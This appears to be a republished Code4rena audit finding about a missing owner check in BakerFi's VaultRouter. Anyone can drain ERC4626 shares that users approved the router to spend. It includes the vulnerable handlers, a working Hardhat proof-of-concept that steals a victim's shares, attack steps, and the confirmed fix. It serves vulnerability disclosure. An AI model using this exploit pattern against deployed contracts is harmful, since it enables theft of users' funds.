Malicious actors can exploit user-approved allowances on VaultRouter to drain their ERC4626 tokens
The VaultRouter contract allowed anyone to redeem or withdraw a user's ERC4626 shares if the user had approved the router to spend those shares. An attacker could call the execute function with a redeem command specifying the victim as owner and themselves as receiver, thereby draining the victim's shares.
0xpiken Follow with MrPotatoMagic
Originally disclosed on Code4rena
Submitted by 0xpiken, also found by MrPotatoMagic
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L120
https://github.com/code-423n4/2024-12-bakerfi/blob/main/contracts/core/VaultRouter.sol#L122
Finding description and impact
Once a user approves VaultRouter to spend their ERC4626 shares, anyone could call VaultRouter#execute() to drain the user’s ERC4626 shares.
Proof of Concept
The VaultRouter#execute() function allows users to perform multiple commands within a single transaction. A user can redeem their ERC4626 shares for underlying assets through VaultRouter using the ERC4626_VAULT_REDEEM command. Subsequently, the redeemed underlying assets can be further processed within the same transaction through other commands, such as V3_UNISWAP_SWAP for token swaps or PUSH_TOKEN for token transferrings. Redeem ERC4626 shares for underlying assets:
function _handleVaultRedeem(
bytes calldata data,
uint256[] memory callStack,
uint32 inputMapping,
uint32 outputMapping
) private returns (bytes memory) {
IERC4626 vault;
uint256 shares;
address receiver;
address owner;
assembly {
vault := calldataload(data.offset)
shares := calldataload(add(data.offset, 0x20))
receiver := calldataload(add(data.offset, 0x40))
owner := calldataload(add(data.offset, 0x60))
}
shares = Commands.pullInputParam(callStack, shares, inputMapping, 1);
uint256 assets = redeemVault(vault, shares, receiver, owner);
Commands.pushOutputParam(callStack, assets, outputMapping, 1);
return abi.encodePacked(assets);
}
Withdraw underlying assets by burning shares:
function _handleVaultWithdraw(
bytes calldata data,
uint256[] memory callStack,
uint32 inputMapping,
uint32 outputMapping
) private returns (bytes memory) {
IERC4626 vault;
uint256 assets;
address receiver;
address owner;
assembly {
vault := calldataload(data.offset)
assets := calldataload(add(data.offset, 0x20))
receiver := calldataload(add(data.offset, 0x40))
owner := calldataload(add(data.offset, 0x60))
}
assets = Commands.pullInputParam(callStack, assets, inputMapping, 1);
uint256 shares = withdrawVault(vault, assets, receiver, owner);
Commands.pushOutputParam(callStack, shares, outputMapping, 1);
return abi.encodePacked(shares);
}
To allow VaultRouter to redeem ERC4626 shares on behalf of a user, the user must approve VaultRouter to spend their shares in advance. However, the caller can be anyone when handling ERC4626 shares redeeming / underlying asset withdrawing, a malicious actor can exploit this approval to drain the user’s ERC4626 shares.
Copy below codes to VaultRouter.ts and run npm run test:
it.only('Drain ERC4626 shares', async function () {
const { vaultRouter, weth, vault, owner, otherAccount } = await deployFunction();
await weth.approve(await vault.getAddress(), ethers.parseUnits('10000', 18));
//@audit-info deposit 10000e18 WETH into vault for 10000e18 shares
await vault.deposit(ethers.parseUnits('10000', 18), owner.address);
expect(await vault.balanceOf(owner.address)).to.equal(ethers.parseUnits('10000', 18));
// Approve the VaultRouter to spend vault shares from owner
await vault.approve(await vaultRouter.getAddress(), ethers.parseUnits('10000', 18));
let iface = new ethers.Interface(VaultRouterABI);
const commands = [
[
VAULT_ROUTER_COMMAND_ACTIONS.ERC4626_VAULT_REDEEM,
'0x' +
iface
.encodeFunctionData('redeemVault', [
await vault.getAddress(),
ethers.parseUnits('10000', 18),
await otherAccount.getAddress(),
owner.address,
])
.slice(10),
],
];
//@audit-info otherAccount crafts commands to drain owner's vault shares
await vaultRouter.connect(otherAccount).execute(commands);
//@audit-info all shares are drained for 10000e18 WETH and transferred to the malicious user
expect(await vault.balanceOf(owner.address)).to.equal(0);
expect(await weth.balanceOf(otherAccount.address)).to.equal(ethers.parseUnits('10000', 18));
});
As we can see, all owner’s vault shares were drained.
Recommended mitigation steps
Both ERC4626_VAULT_REDEEM and ERC4626_VAULT_WITHDRAW commands should only handle the caller’s ERC4626 shares:
function _handleVaultRedeem(
bytes calldata data,
uint256[] memory callStack,
uint32 inputMapping,
uint32 outputMapping
) private returns (bytes memory) {
IERC4626 vault;
uint256 shares;
address receiver;
address owner;
assembly {
vault := calldataload(data.offset)
shares := calldataload(add(data.offset, 0x20))
receiver := calldataload(add(data.offset, 0x40))
- owner := calldataload(add(data.offset, 0x60))
}
+ owner = msg.sender;
shares = Commands.pullInputParam(callStack, shares, inputMapping, 1);
uint256 assets = redeemVault(vault, shares, receiver, owner);
Commands.pushOutputParam(callStack, assets, outputMapping, 1);
return abi.encodePacked(assets);
}
function _handleVaultWithdraw(
bytes calldata data,
uint256[] memory callStack,
uint32 inputMapping,
uint32 outputMapping
) private returns (bytes memory) {
IERC4626 vault;
uint256 assets;
address receiver;
address owner;
assembly {
vault := calldataload(data.offset)
assets := calldataload(add(data.offset, 0x20))
receiver := calldataload(add(data.offset, 0x40))
- owner := calldataload(add(data.offset, 0x60))
}
+ owner = msg.sender;
assets = Commands.pullInputParam(callStack, assets, inputMapping, 1);
uint256 shares = withdrawVault(vault, assets, receiver, owner);
Commands.pushOutputParam(callStack, shares, outputMapping, 1);
return abi.encodePacked(shares);
}
chefkenji (BakerFi) confirmed
Status: Mitigation confirmed. Full details in reports from 0xlemon and shaflow2.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The redeem and withdraw handlers read the owner address from user-supplied calldata instead of forcing it to be the caller (msg.sender), allowing anyone to act on behalf of any user who had approved the router.
Impact
An attacker could drain all ERC4626 shares from any user who had approved the VaultRouter, receiving the underlying assets.
What the attacker needed
Victim has approved VaultRouter to spend their shares
The fix
The redeem and withdraw handlers should set the owner to msg.sender instead of reading it from calldata, ensuring only the caller's own shares are handled.
How it was found
- The victim approves the VaultRouter to spend their ERC4626 shares.
- The attacker crafts a command for ERC4626_VAULT_REDEEM with the victim as owner and the attacker as receiver.
- The attacker calls VaultRouter.execute() with that command.
- The router redeems the victim's shares and sends the underlying assets to the attacker.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
ERC4626 is a standard for tokenised vaults where users deposit assets and receive shares. If a user gives a contract permission to spend their shares, that contract should only act on the user's behalf. Here, the contract let anyone specify any user as the owner of the shares, so an attacker could take them.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.